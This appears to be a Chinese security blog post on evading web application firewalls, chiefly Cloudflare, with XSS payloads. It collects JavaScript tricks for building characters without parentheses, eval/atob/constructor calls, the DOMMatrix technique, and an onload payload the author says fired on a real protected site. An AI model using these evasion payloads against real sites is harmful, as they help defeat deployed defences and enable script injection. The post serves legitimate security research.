结合在twitter和reddit上看到大佬们的各种生成字符的方式来谈谈waf的相关绕过
var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty=RegExp.prototype.flags;
xx={};
xx.source=bs;
xx.flags=empty;
xx.toString=RegExp.prototype.toString;
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty //生成(
que = yy+empty //生成?
colon=yy+empty //生成:
right=yy+empty //生成)
x=console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // /
x=console
x.valueOf=String.prototype.charAt
x + "" // [
x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A
常见的一些方式这里就不说了,直接到这里淘便是,这里仅说一下最近看到的。
首先将对象展开,然后将对象转为数组,最后用shift方法从数组中获取字符
x={...eval+0,toString:Array.prototype.shift,length:15},
x+x+x+x+x+x+x+x+x+x+x+x+x,
x=/alert/.source+x+1337+x;
location=/javascript:/.source+x;
window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window
atob.constructor(atob`YWxlcnQoMSk`)``
或者
atob.constructor(atob(/YWxlcnQoMSk/.source))()
void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)
最近做项目的过程中,发现一受到cloudflare保护的站存在XSS,简单构造了一个payload顺利的执行弹窗:
"><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href="
但受到clodflare的影响,无法使用括号、注释符、模板字符、大括号及特定关键字等,不能实现任意代码执行,网上找了找文章,发现去年5月@garethheyes在portswigger上发了一篇名为XSS without parentheses and semi-colons的文章,其主要实现代码如下:
x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1';
执行以上代码可直接直接alert(1337),具体实现请移步这里
以上代码虽然能成功执行,但面对cloudflare还是无法顺利bypass
其主要原因是因为使用了location关键字,在cloudflare中一旦location被赋值将触发拦截,也就是说a=location;不拦截,而location=a;会拦截。那么我们很快便能想到如下的方式:
a=location;
a.href="javascript:alert(1)";
或者
a.search="?id=javascript:alert(1);";
再或者
a.pathname="/index/index.php?id=javascript:alert(1);";
但很不幸,这样的方式同样会被拦截,为此我尝试了很多种方式均无法bypass,希望有大佬指点指点。